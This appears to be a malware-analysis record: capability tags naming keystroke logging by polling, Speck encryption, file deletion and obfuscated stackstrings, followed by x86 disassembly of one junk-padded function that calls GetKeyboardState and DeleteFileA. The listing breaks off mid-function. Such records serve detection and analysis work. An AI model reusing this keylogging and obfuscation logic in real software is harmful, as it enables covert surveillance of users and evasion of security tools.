Function at 0x4b4e1e
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings
Delete file
Encrypt data using speck
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd1c
push esi
mov dword [ebp - 0x7b0], 0x3fb5
mov dword [ebp - 0xa18], str.kng_yux_qiupo_eyegnevk_ldfxoi_kodhya_wnsbrsqtq_jongbuann_kfqwajxt
cmp dword [ebp - 0x7b0], 0x4388
jle 0x4b4e87
and dword [ebp - 0x24c], 0
jmp 0x4b4e5e
mov eax, dword [ebp - 0x24c]
inc eax
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 0x5bc9
jge 0x4b4e87
push 0x3f63
push 0x5df1
lea eax, [ebp - 0x24c]
push eax
push 0
call fcn.004c7ef1
add esp, 0x10
jmp 0x4b4e51
mov dword [ebp - 0x7c], 0x4d2edc75
mov dword [ebp - 0x7ac], 0x116d
mov dword [ebp - 0x82c], str.nulcyjmy_ccxbr_mkfbuio_nmwljhma_qvylb_mrmmmje_lodalbqqd
cmp dword [ebp - 0x7ac], 0x1242
jle 0x4b4fc8
and dword [ebp - 0x43c], 0
jmp 0x4b4ec8
mov eax, dword [ebp - 0x43c]
inc eax
mov dword [ebp - 0x43c], eax
cmp dword [ebp - 0x43c], 0x6231
jge 0x4b4fc8
and dword [ebp - 0x444], 0
jmp 0x4b4eee
mov eax, dword [ebp - 0x444]
inc eax
mov dword [ebp - 0x444], eax
cmp dword [ebp - 0x444], 0x4ed3
jge 0x4b4fc3
and dword [ebp - 0x428], 0
jmp 0x4b4f14
mov eax, dword [ebp - 0x428]
inc eax
mov dword [ebp - 0x428], eax
cmp dword [ebp - 0x428], 0x2da9
jge 0x4b4fbe
and dword [ebp - 0xfc], 0
jmp 0x4b4f3a
mov eax, dword [ebp - 0xfc]
inc eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0x78e1
jge 0x4b4fb9
mov eax, dword [ebp - 0x43c]
sub eax, dword [ebp - 0x444]
sub eax, dword [ebp - 0x428]
and eax, dword [ebp - 0xfc]
cdq
mov dword [ebp - 0xa48], eax
mov dword [ebp - 0xa44], edx
push 1
push 0x54d
push 1
push 1
push 1
push 0x47ab
push 0x4474
push 1
push 0
push 0x3994
push 0
push 0xa17
push 0
push 0x2b61
push 0x101e
push 0x48ff
lea eax, [ebp - 0xa48]
push eax
push 1
call fcn.004c74b4
add esp, 0x48
jmp 0x4b4f2d
jmp 0x4b4f07
jmp 0x4b4ee1
jmp 0x4b4ebb
mov dword [ebp - 0x454], 0xc7104272
cmp dword [ebp - 0x7ac], 0xf72
jge 0x4b5003
push 0
push 0x261
push 0x66bb
push 0x64b5
push 0x1c09
lea eax, [ebp - 0x82c]
push eax
call fcn.004c43a8
add esp, 0x18
mov dword [ebp - 0x7b8], 0x65df
mov dword [ebp - 0x8f0], str.hncc_oejfu_cxrmtlpgy_east_nlroxo_bqxp_hul_cbnvoqdnp_kln_cquulgbqp
cmp dword [ebp - 0x7b8], 0x67d6
jle 0x4b5092
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_TextOutA]
and dword [ebp - 0x410], 0
jmp 0x4b5049
mov eax, dword [ebp - 0x410]
inc eax
mov dword [ebp - 0x410], eax
cmp dword [ebp - 0x410], 0x4c2a
jge 0x4b5092
lea eax, [ebp - 0x410]
push eax
push 1
push 0x79c4
push 0x4c9f
push 1
push 1
push 0xb51
push 0
push 0x5f7e
push 1
push 1
push 1
push 0xd1e
push 0x77d5
call fcn.0049b886
add esp, 0x38
jmp 0x4b503c
cmp dword [ebp - 0x7b8], 0x648a
jge 0x4b50ae
mov edx, dword [ebp - 0x8f0]
mov ecx, 0xac7538
call fcn.0041c2dd
mov dword [ebp - 0x9f0], 0x9172ddb7
mov dword [ebp - 0xa1c], 1
mov dword [ebp - 0x7c0], 0x4d3c
mov dword [ebp - 0x8f8], str.xav_yjbeeomis_rdllxhpd_emwow_wtfggnc_kemav_orhj_giqguq_pftbqdqeo_vpwrrot_jwhulhppg
cmp dword [ebp - 0x7c0], 0x4ded
jle 0x4b5185
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
and dword [ebp - 0x104], 0
jmp 0x4b5104
mov eax, dword [ebp - 0x104]
inc eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 0x783b
jge 0x4b5185
and dword [ebp - 0x2c4], 0
jmp 0x4b5126
mov eax, dword [ebp - 0x2c4]
inc eax
mov dword [ebp - 0x2c4], eax
cmp dword [ebp - 0x2c4], 0x6918
jge 0x4b5180
mov eax, dword [ebp - 0x104]
imul eax, dword [ebp - 0x2c4]
cdq
mov dword [ebp - 0x904], eax
mov dword [ebp - 0x900], edx
push dword [ebp - 0x900]
push dword [ebp - 0x904]
lea ecx, [ebp - 0xd1c]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0xd1c]
call fcn.00401711
jmp 0x4b5119
jmp 0x4b50f7
cmp dword [ebp - 0x7c0], 0x4a1b
jge 0x4b51be
push 0x4e34
push 0x6aa7
push 0x35c0
push 0x7052
push 1
push 1
push 1
push 0
lea eax, [ebp - 0x8f8]
push eax
push 1
call fcn.004ae16f
add esp, 0x28
mov dword [ebp - 0x44], 0
jmp 0x4b51ce
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 3
jge 0x4b51e4
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0xc50], 0x9a733e34
jmp 0x4b51c7
mov dword [ebp - 0x44], 0
jmp 0x4b51f4
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 3
jge 0x4b520a
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0xca8], 0xffffffff
jmp 0x4b51ed
mov byte [ebp - 0x74], 0
movzx eax, byte [ebp - 0x74]
test eax, eax
je 0x4b523b
push 0
push 1
push 0
push 0x4f01
push 0
push 0x74b6
push 0
push 1
push 1
push 0x3562
call fcn.004a64a5
add esp, 0x28
mov eax, dword [ebp - 0x7c]
cmp dword [ebp - 0x7c], eax
je 0x4b524f
mov dword [ebp - 0x9e0], 1
jmp 0x4b5256
and dword [ebp - 0x9e0], 0
mov eax, dword [ebp - 0x454]
mov dword [ebp - 0xbf8], eax
mov eax, dword [ebp - 0x454]
dec eax
mov dword [ebp - 0x454], eax
cmp dword [ebp - 0x7c], 0xcf04
jl 0x4b5284
mov dword [ebp - 0x9e8], 1
jmp 0x4b528b
and dword [ebp - 0x9e8], 0
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0xbcc], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xc50]
mov dword [ebp - 0x7c8], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x7c8]
mov dword [ebp + eax - 0xc50], ecx
cmp dword [ebp - 0x7c8], 8
ja 0x4b52ce
mov dword [ebp - 0x7d0], 1
jmp 0x4b52d5
and dword [ebp - 0x7d0], 0
imul eax, dword [ebp - 0x7d0], 0xb44a
sub eax, dword [ebp - 0x7c]
push 4
pop ecx
imul ecx, ecx, 0
add eax, dword [ebp + ecx - 0xca8]
cmp dword [ebp - 0x7c], eax
je 0x4b5300
mov dword [ebp - 0x7e4], 1
jmp 0x4b5307
and dword [ebp - 0x7e4], 0
cmp dword [ebp - 0x7e4], 0x456574b6
je 0x4b5325
cmp dword [ebp - 0x9f0], 0
jne 0x4b5325
and dword [ebp - 0x71c], 0
jmp 0x4b532f
mov dword [ebp - 0x71c], 1
mov eax, dword [ebp - 0x71c]
mov dword [ebp - 0xa1c], eax
cmp dword [ebp - 0x7b0], 0x3db7
jge 0x4b5396
push 0x1460
push 1
push 0x416e
push 1
push 0x13db
push 0x3c98
push 1
push 0x451d
push 0x5638
push 0x2eb7
push 0
push 1
push 0x3c8e
push 1
lea eax, [ebp - 0xa18]
push eax
push 0x55c9
push 1
push 0x4069
call fcn.004a79b4
add esp, 0x48
mov eax, dword [0x2df3370]
and eax, 1
jne 0x4b53c2
mov eax, dword [0x2df3370]
or eax, 1
mov dword [0x2df3370], eax
mov ecx, 0x2df334c
call fcn.0048dc1e
push 0x50b4f2
call fcn.004f089f
pop ecx
push dword [ebp + 8]
lea ecx, [ebp - 0xb94]
call fcn.0048d932
lea eax, [ebp - 0xc00]
push eax
lea ecx, [ebp - 0xb94]
call fcn.0048deaf
push dword [eax]
lea eax, [ebp - 0xc08]
push eax
lea ecx, [ebp - 0xb94]
call fcn.0048dec3
push dword [eax]
lea eax, [ebp - 0xc10]
push eax
lea ecx, [ebp - 0xb94]
call fcn.0048deaf
push dword [eax]
mov edx, 0x48fa9e
lea ecx, [ebp - 0xc18]
call fcn.004cb3cb
add esp, 0xc
mov dword [ebp - 0x60], 1
mov dword [ebp - 0x4a4], 0x5b63
mov dword [ebp - 0x934], str.wswf_bufv_egt_octnr_dci_pjhwhvab_shv_wdmrmbu_cfn_pbu
cmp dword [ebp - 0x4a4], 0x5e1c
jle 0x4b5552
and dword [ebp - 0x2cc], 0
jmp 0x4b5460
mov eax, dword [ebp - 0x2cc]
inc eax
mov dword [ebp - 0x2cc], eax
cmp dword [ebp - 0x2cc], 0x360f
jge 0x4b5552
and dword [ebp - 0x10c], 0
jmp 0x4b5486
mov eax, dword [ebp - 0x10c]
inc eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0x16c1
jge 0x4b554d
and dword [ebp - 0x3a4], 0
jmp 0x4b54ac
mov eax, dword [ebp - 0x3a4]
inc eax
mov dword [ebp - 0x3a4], eax
cmp dword [ebp - 0x3a4], 0x675a
jge 0x4b5548
and dword [ebp - 0x114], 0
jmp 0x4b54d2
mov eax, dword [ebp - 0x114]
inc eax
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0x4336
jge 0x4b5543
mov eax, dword [ebp - 0x10c]
cdq
idiv dword [ebp - 0x3a4]
add edx, dword [ebp - 0x114]
mov eax, dword [ebp - 0x2cc]
mov ecx, edx
shl eax, cl
cdq
mov dword [ebp - 0xaa0], eax
mov dword [ebp - 0xa9c], edx
push 0
push 0x6562
push 0x2966
push 1
push 1
push 0
push 0x2897
push 1
push 0x12a8
push 1
push 0x2dbf
lea eax, [ebp - 0xaa0]
push eax
push 0x1806
call fcn.004b0225
add esp, 0x34
jmp 0x4b54c5
jmp 0x4b549f
jmp 0x4b5479
jmp 0x4b5453
mov dword [ebp - 0x4e4], 0x8ef8a6eb
cmp dword [ebp - 0x4a4], 0x581d
jge 0x4b5583
push 0x2dab
push 0x32d0
push 0
lea eax, [ebp - 0x934]
push eax
call fcn.004ca2cd
add esp, 0x10
mov dword [ebp - 0x64c], 0x1a7f
mov dword [ebp - 0x81c], str.dymkpcjy_dxpkkkbkd_tnavse_xfal_dxdgaqjga_fbowuo_daasxtsgx_hjdrqd_nlcrmhh_vhysmigq_vgfcgswan_cqebkjdvb_gflqfejga_klasgfc
cmp dword [ebp - 0x64c], 0x1de0
jle 0x4b5652
and dword [ebp - 0x11c], 0
jmp 0x4b55bd
mov eax, dword [ebp - 0x11c]
inc eax
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0xe37
jge 0x4b5652
and dword [ebp - 0x430], 0
jmp 0x4b55e3
mov eax, dword [ebp - 0x430]
inc eax
mov dword [ebp - 0x430], eax
cmp dword [ebp - 0x430], 0x1f8
jge 0x4b564d
mov eax, dword [ebp - 0x11c]
imul eax, dword [ebp - 0x430]
cdq
mov dword [ebp - 0xab0], eax
mov dword [ebp - 0xaac], edx
push 0xca0
push 1
push 0
push 0x3b35
push 1
push 0x5d16
push 0x5bf4
push 1
push 0
push 1
lea eax, [ebp - 0xab0]
push eax
push 1
push 0x3429
push 0x348c
push 0x4f9c
push 1
call fcn.004b2517
add esp, 0x40
jmp 0x4b55d6
jmp 0x4b55b0
cmp dword [ebp - 0x64c], 0x17d1
jge 0x4b5684
push 1
push 0
push 1
push 0x2066
push 0x3dd1
push 0x4c0d
push 1
lea eax, [ebp - 0x81c]
push eax
call fcn.004c8bc4
add esp, 0x20
mov dword [ebp - 0x4ac], 0x5c19
mov dword [ebp - 0x8e8], str.dsqxibknj_svepewcn_gwiul_uqbrhn_cdlxrajs_rna_hcrokbr_vwanfadc_rhfnn_ndmnmsy_kjic
cmp dword [ebp - 0x4ac], 0x5e0c
jle 0x4b5739
and dword [ebp - 0x124], 0
jmp 0x4b56be
mov eax, dword [ebp - 0x124]
inc eax
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 0x208d
jge 0x4b5739
and dword [ebp - 0x2d4], 0
jmp 0x4b56e0
mov eax, dword [ebp - 0x2d4]
inc eax
mov dword [ebp - 0x2d4], eax
cmp dword [ebp - 0x2d4], 0x7c51
jge 0x4b5734
mov eax, dword [ebp - 0x124]
xor eax, dword [ebp - 0x2d4]
cdq
mov dword [ebp - 0xac0], eax
mov dword [ebp - 0xabc], edx
push 1
push 0
push 0x58c
push 0
push 1
push 0x7713
push 0x7d0a
push 0x66bb
push 1
lea eax, [ebp - 0xac0]
push eax
call fcn.004a6e5d
add esp, 0x28
jmp 0x4b56d3
jmp 0x4b56b1
mov dword [ebp - 0x12c], 0
jmp 0x4b5752
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 3
jge 0x4b576e
mov eax, dword [ebp - 0x12c]
mov dword [ebp + eax*4 - 0xa28], 0
jmp 0x4b5745
push 0x1e2
push 0x552
push 0xb4c
push 0
push 0
lea eax, [ebp - 0x8e8]
push eax
push 0x48c5
lea eax, [ebp - 0x4ac]
push eax
push 1
push 0x177a
push 1
push 1
push 1
call fcn.004a6b85
add esp, 0x34
mov dword [ebp - 0x72c], 0x2b84
mov dword [ebp - 0x9d4], str.palamea_aotgcu_uwyosbi_eiyhexg_aak
cmp dword [ebp - 0x72c], 0x2f63
jle 0x4b5886
push 0x524
push 1
push 1
push 0x5477
push 0
push 1
push 0x68b6
push 0x87e
push 0x4b55
push 0x1f44
push 0
call fcn.004ca2fd
add esp, 0x2c
and dword [ebp - 0x134], 0
jmp 0x4b5813
mov eax, dword [ebp - 0x134]
inc eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0x431f
jge 0x4b587c
and dword [ebp - 0x3ac], 0
jmp 0x4b5835
mov eax, dword [ebp - 0x3ac]
inc eax
mov dword [ebp - 0x3ac], eax
cmp dword [ebp - 0x3ac], 0x7230
jge 0x4b587a
push 1
push 0x3e85
push 0x372f
push 0x2953
lea eax, [ebp - 0x3ac]
push eax
push 0xd85
push 0
push 0x73ec
push 0
lea eax, [ebp - 0x134]
push eax
push 1
call fcn.004a7fda
add esp, 0x2c
jmp 0x4b5828
jmp 0x4b5806
push 0
push 0
call dword [sym.imp.GDI32.dll_SetStretchBltMode]
mov dword [ebp - 0x60], 0
jmp 0x4b5896
mov eax, dword [ebp - 0x60]
dec eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0xffffffe2
jge 0x4b608f
mov dword [ebp - 0x5c], 0x46df37d4
mov dword [ebp - 0x4cc], 0x2afd77cc
mov dword [ebp - 0x5c], 0xfffffffb
cmp dword [ebp - 0x5c], 0
je 0x4b5fb5
mov dword [ebp - 0x654], 0x1ae0
mov dword [ebp - 0xa08], str.ttmbo_gknuimqc_ubpkknsyk_fyj_gej_everpaiv_iggaxht
cmp dword [ebp - 0x654], 0x1cf9
jle 0x4b592d
and dword [ebp - 0x2dc], 0
jmp 0x4b58f8
mov eax, dword [ebp - 0x2dc]
inc eax
mov dword [ebp - 0x2dc], eax
cmp dword [ebp - 0x2dc], 0xc18
jge 0x4b592d
push 0
push 1
push 1
push 0x1958
push 0
push 0x55e7
push 0
push 1
push 1
lea eax, [ebp - 0x2dc]
push eax
call fcn.004a64a5
add esp, 0x28
jmp 0x4b58eb
mov dword [ebp - 0x7bc], 0x3831
mov dword [ebp - 0x97c], str.cbr_iuvh_kldxsvek_holcucvu_ijhl
cmp dword [ebp - 0x7bc], 0x399b
jle 0x4b5993
and dword [ebp - 0x13c], 0
jmp 0x4b5963
mov eax, dword [ebp - 0x13c]
inc eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0x5bd9
jge 0x4b5993
push 0x7219
push 0
lea eax, [ebp - 0x13c]
push eax
push 0
push 0x64a0
push 0x3d5d
call fcn.004bdab3
add esp, 0x18
jmp 0x4b5956
mov byte [ebp - 0x76], 0
cmp dword [ebp - 0x7bc], 0x3541
jge 0x4b59b3
mov edx, dword [ebp - 0x97c]
mov ecx, 0xac7538
call fcn.0041c2dd
movzx eax, byte [ebp - 0x76]
test eax, eax
je 0x4b5b99
mov dword [ebp - 0x4b4], 0x1912
mov dword [ebp - 0x824], str.qtxdfngm_tngwvta_fmd_uukpq_gliorncwf_vwdnulrar_wiv_exnr_ucbawgn_xhhyrhc
cmp dword [ebp - 0x4b4], 0x19e7
jle 0x4b5b03
and dword [ebp - 0x418], 0
jmp 0x4b59f9
mov eax, dword [ebp - 0x418]
inc eax
mov dword [ebp - 0x418], eax
cmp dword [ebp - 0x418], 0x231f
jge 0x4b5b03
and dword [ebp - 0x144], 0
jmp 0x4b5a1f
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0x1177
jge 0x4b5afe
and dword [ebp - 0x2e4], 0
jmp 0x4b5a45
mov eax, dword [ebp - 0x2e4]
inc eax
mov dword [ebp - 0x2e4], eax
cmp dword [ebp - 0x2e4], 0x2cd2
jge 0x4b5af9
and dword [ebp - 0x14c], 0
jmp 0x4b5a6b
mov eax, dword [ebp - 0x14c]
inc eax
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 0x2008
jge 0x4b5af4
mov eax, dword [ebp - 0x418]
and eax, dword [ebp - 0x144]
mov ecx, dword [ebp - 0x2e4]
xor ecx, dword [ebp - 0x14c]
or eax, ecx
cdq
mov dword [ebp - 0xad0], eax
mov dword [ebp - 0xacc], edx
push 0x67e7
push 0x383b
push 1
push 0x2bd0
push 1
push 0x5483
push 1
push 0x1a2f
push 0x391f
push 0x6a6a
lea eax, [ebp - 0xad0]
push eax
push 0x73b9
push 1
push 0xdf6
push 1
push 0
push 0
push 0x16d4
push 1
call fcn.004a29f6
add esp, 0x4c
jmp 0x4b5a5e
jmp 0x4b5a38
jmp 0x4b5a12
jmp 0x4b59ec
push 1
push 0x242
push 0x5a3f
push 1
push 0
push 1
push 1
push 0x2d0b
push 0x591a
push 1
push 1
push 0
push 0x60fb
push 0x6e25
push 0x6e22
push 0x352b
push 0x2f0b
call fcn.004b4b05
add esp, 0x44
lea eax, [ebp - 0x824]
push eax
push 0x6f52
push 1
push 0x30e6
push 0
push 0x7205
push 1
push 0x266e
push 0x10f0
push 0x4c00
push 1
push 0x7710
push 1
push 0x67b3
push 0x3f22
push 0
lea eax, [ebp - 0x4b4]
push eax
push 1
call fcn.004c28d8
add esp, 0x48
cmp dword [ebp - 0x654], 0x1974
jge 0x4b5bd3
push 0x3c24
lea eax, [ebp - 0xa08]
push eax
push 1
push 0x1045
push 0
push 1
push 0x355b
push 0x4dd1
push 0x3cf7
call fcn.004c65e7
add esp, 0x24
mov dword [ebp - 0x4c4], 0x3548
mov dword [ebp - 0x834], str.iio_wrxbpho_nof_jiccu_jta
cmp dword [ebp - 0x4c4], 0x372a
jle 0x4b5c6c
push 0
push 0
push 1
push 0x482a
push 1
push 0x797a
push 0
push 1
push 1
push 0x6d66
call fcn.004a64a5
add esp, 0x28
and dword [ebp - 0x3b4], 0
jmp 0x4b5c2e
mov eax, dword [ebp - 0x3b4]
inc eax
mov dword [ebp - 0x3b4], eax
cmp dword [ebp - 0x3b4], 0x7473
jge 0x4b5c6c
push 0x6ae8
push 0x6bd7
lea eax, [ebp - 0x3b4]
push eax
push 1
push 1
push 0xdce
push 0x21ce
push 0x379c
push 0
push 0
call fcn.0049b03a
add esp, 0x28
jmp 0x4b5c21
mov dword [ebp - 0x5c], 0xfffffff6
jmp 0x4b5c7c
mov eax, dword [ebp - 0x5c]
dec eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0xffffffec
jle 0x4b5f88
mov dword [ebp - 0x88], 8
mov dword [ebp - 0x88], 2
jmp 0x4b5ca9
mov eax, dword [ebp - 0x88]
dec eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0
jl 0x4b5f83
mov dword [ebp - 0x154], 1
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x88]
mov eax, dword [ebp + eax*4 - 0xa28]
mov dword [ebp + ecx*4 - 0xa28], eax
mov dword [ebp - 0x154], 0
jmp 0x4b5cf3
mov eax, dword [ebp - 0x154]
inc eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 1
je 0x4b5f7e
mov byte [ebp - 0x6b], 0
mov dword [ebp - 0x724], 0x10af
mov dword [ebp - 0x984], str.vdsybwq_inqpvr_fjdkckoq_tfemwt_wuwsl_kbvcm_uqwhjn_pmpa_wevfoqmgt_ytphvoibn_jaoh_gbd_wwtwtdv
cmp dword [ebp - 0x724], 0x1106
jle 0x4b5dd8
and dword [ebp - 0x2ec], 0
jmp 0x4b5d3e
mov eax, dword [ebp - 0x2ec]
inc eax
mov dword [ebp - 0x2ec], eax
cmp dword [ebp - 0x2ec], 0x72b0
jge 0x4b5dd8
and dword [ebp - 0x15c], 0
jmp 0x4b5d64
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 0x4056
jge 0x4b5dd3
mov eax, dword [ebp - 0x2ec]
add eax, dword [ebp - 0x15c]
cdq
mov dword [ebp - 0xae0], eax
mov dword [ebp - 0xadc], edx
push 0x1a1c
push 0x4835
push 0x32ad
push 0x408c
lea eax, [ebp - 0xae0]
push eax
push 1
push 0x4a3b
push 1
push 1
push 0x3885
push 1
push 0x66d1
push 1
push 0
push 0x4dad
push 0x76ba
call fcn.004afdbe
add esp, 0x40
jmp 0x4b5d57
jmp 0x4b5d31
movzx eax, byte [ebp - 0x6b]
test eax, eax
je 0x4b5f26
mov dword [ebp - 0x4bc], 0x478c
mov dword [ebp - 0x814], str.jssjle_yofsotide_atslnl_ogmmwwyy_rroypgo
cmp dword [ebp - 0x4bc], 0x49cd
jle 0x4b5ec7
and dword [ebp - 0x440], 0
jmp 0x4b5e1e
mov eax, dword [ebp - 0x440]
inc eax
mov dword [ebp - 0x440], eax
cmp dword [ebp - 0x440], 0x57f7
jge 0x4b5ec7
and dword [ebp - 0x164], 0
jmp 0x4b5e44
mov eax, dword [ebp - 0x164]
inc eax
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 0x7827
jge 0x4b5ec2
and dword [ebp - 0x2f4], 0
jmp 0x4b5e66
mov eax, dword [ebp - 0x2f4]
inc eax
mov dword [ebp - 0x2f4], eax
cmp dword [ebp - 0x2f4], 0x632c
jge 0x4b5ebd
lea eax, [ebp - 0x440]
push eax
push 1
push 0x392d
push 0x69e
lea eax, [ebp - 0x164]
push eax
push 1
push 0
push 0
push 0x3032
push 1
lea eax, [ebp - 0x2f4]
push eax
push 1
push 0x3a1f
push 0x2a02
push 1
push 0x4824
call fcn.00497e8d
add esp, 0x40
jmp 0x4b5e59
jmp 0x4b5e37
jmp 0x4b5e11
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_Pie]
cmp dword [ebp - 0x4bc], 0x45f2
jge 0x4b5f26
push 1
lea eax, [ebp - 0x814]
push eax
push 1
push 0
push 0x175
push 0x6d58
push 0
push 1
push 1
push 0x6bfc
push 0x624a
push 0
push 0x2959
push 0x5681
call fcn.004b0f6e
add esp, 0x38
cmp dword [ebp - 0x724], 0xccd
jge 0x4b5f79
push 0x12b7
push 1
push 0x97b
push 0x4e8d
push 0
lea eax, [ebp - 0x984]
push eax
push 1
push 1
push 0x53e
push 0x7958
push 0x6519
push 1
push 0
push 0x28f1
push 0x521c
push 1
push 1
call fcn.00499d0e
add esp, 0x44
jmp 0x4b5ce6
jmp 0x4b5c9c
jmp 0x4b5c75
lea eax, [ebp - 0x4c4]
push eax
push 0x6072
push 0
push 1
push 1
lea eax, [ebp - 0x834]
push eax
push 0x2fbc
push 1
call fcn.0049509f
add esp, 0x20
jmp 0x4b608a
mov dword [ebp - 0x65c], 0x63785551
mov eax, dword [ebp - 0x65c]
mov dword [ebp - 0xc20], eax
mov eax, dword [ebp - 0x65c]
mov dword [ebp - 0xc28], eax
push 5
pop eax
sub eax, dword [ebp - 0x5c]
mov dword [ebp - 0x4cc], eax
jne 0x4b5ff4
cmp dword [ebp - 0x60], 0
jne 0x4b5ff4
and dword [ebp - 0x78c], 0
jmp 0x4b5ffe
mov dword [ebp - 0x78c], 1
mov eax, dword [ebp - 0x78c]
neg eax
cmp eax, dword [ebp - 0x60]
je 0x4b6017
mov dword [ebp - 0x4d4], 1
jmp 0x4b601e
and dword [ebp - 0x4d4], 0
cmp dword [ebp - 0x4d4], 4
jg 0x4b6033
mov dword [ebp - 0x664], 1
jmp 0x4b603a
and dword [ebp - 0x664], 0
imul eax, dword [ebp - 0x664], 0x3ccd
push 4
pop ecx
shl ecx, 1
cmp eax, dword [ebp + ecx - 0xa28]
jne 0x4b605e
mov dword [ebp - 0x4dc], 1
jmp 0x4b6065
and dword [ebp - 0x4dc], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xa28]
mov ecx, dword [ebp - 0x60]
imul ecx, dword [ebp - 0x4dc]
sub ecx, 0x4e1054d8
sub eax, ecx
mov dword [ebp - 0x4e4], eax
jmp 0x4b588f
cmp dword [ebp - 0x72c], 0x2b7a
jge 0x4b60c3
push 1
push 0x2da2
push 1
push 0
push 0
push 0x5491
push 1
push 0x542e
lea eax, [ebp - 0x9d4]
push eax
call fcn.004a9765
add esp, 0x24
push 0x568
push 1
push 1
push 0x741f
lea eax, [ebp - 0x4e4]
push eax
push 0x43d
push 0x2121
push 1
push 0x39be
push 1
push 0x52cf
push 0x352d
push 0
push 0x423d
push 0x70c9
push 0x2719
push 0x232f
push 0x7da6
push 0
push 1
call fcn.004aeb2c
add esp, 0x50
lea ecx, [ebp - 0xb94]
call fcn.0048f93d
mov dword [ebp - 0x708], eax
movzx eax, byte [0x2df3215]
test eax, eax
je 0x4b6f7a
mov ecx, 0x2df334c
call fcn.004cb0ec
movzx eax, al
test eax, eax
jne 0x4b6f7a
mov dword [ebp - 0x28], 0x462d5e48
mov dword [ebp - 0xc30], 0x13af
mov dword [ebp - 0x66c], 0x34ed
mov dword [ebp - 0x83c], str.kqqre_btbokd_xcrgvtamv_kmt_chtxe_bmxutm_uwwqft_ayy_exn
cmp dword [ebp - 0x66c], 0x35e3
jle 0x4b6256
and dword [ebp - 0x16c], 0
jmp 0x4b619c
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 0x361
jge 0x4b622e
and dword [ebp - 0x3bc], 0
jmp 0x4b61c2
mov eax, dword [ebp - 0x3bc]
inc eax
mov dword [ebp - 0x3bc], eax
cmp dword [ebp - 0x3bc], 0x3324
jge 0x4b6229
push 0x6f01
push 1
push 0x6519
push 1
push 0x1027
push 1
push 0x250f
push 0x1831
push 1
push 0x102a
push 1
lea eax, [ebp - 0x16c]
push eax
push 0x43b3
push 0x2bcd
push 0x206c
push 0
push 0x4fe4
lea eax, [ebp - 0x3bc]
push eax
push 0x1f9
call fcn.004c3bb1
add esp, 0x4c
jmp 0x4b61b5
jmp 0x4b618f
push 1
push 0
push 0x357e
push 0
push 1
push 0x3605
push 0x5203
push 0x4a05
push 1
push 1
call fcn.004c34cb
add esp, 0x28
mov dword [ebp - 0x174], 0
jmp 0x4b626f
mov eax, dword [ebp - 0x174]
inc eax
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 1
jge 0x4b628b
mov eax, dword [ebp - 0x174]
mov dword [ebp + eax*4 - 0x67c], 0xfffffff6
jmp 0x4b6262
cmp dword [ebp - 0x66c], 0x3174
jge 0x4b62a7
mov edx, dword [ebp - 0x83c]
mov ecx, 0xac7538
call fcn.0041c2dd
mov dword [ebp - 0x28], 0x15
jmp 0x4b62b7
mov eax, dword [ebp - 0x28]
dec eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0xffffffe8
je 0x4b6440
mov dword [ebp - 0x7d8], 0x2576
mov dword [ebp - 0x844], str.mbnmkp_vkbesa_tmrdiodj_ifhjdp_ottrjuqbx_thjf_kvtgks_iebygpyl
cmp dword [ebp - 0x7d8], 0x26f6
jle 0x4b6395
push 0
call dword [sym.imp.USER32.dll_GetKeyboardState]
and dword [ebp - 0x2fc], 0
jmp 0x4b6303
mov eax, dword [ebp - 0x2fc]
inc eax
mov dword [ebp - 0x2fc], eax
cmp dword [ebp - 0x2fc], 0x25ef
jge 0x4b6395
and dword [ebp - 0x17c], 0
jmp 0x4b6329
mov eax, dword [ebp - 0x17c]
inc eax
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 0x17f2
jge 0x4b6390
mov eax, dword [ebp - 0x2fc]
sub eax, dword [ebp - 0x17c]
cdq
mov dword [ebp - 0xaf0], eax
mov dword [ebp - 0xaec], edx
push 1
push 0x54c
push 0x5d9
push 0
push 1
push 0x60c5
lea eax, [ebp - 0xaf0]
push eax
push 0x45ca
push 1
push 0x1a25
push 1
push 0
push 0x74ab
push 1
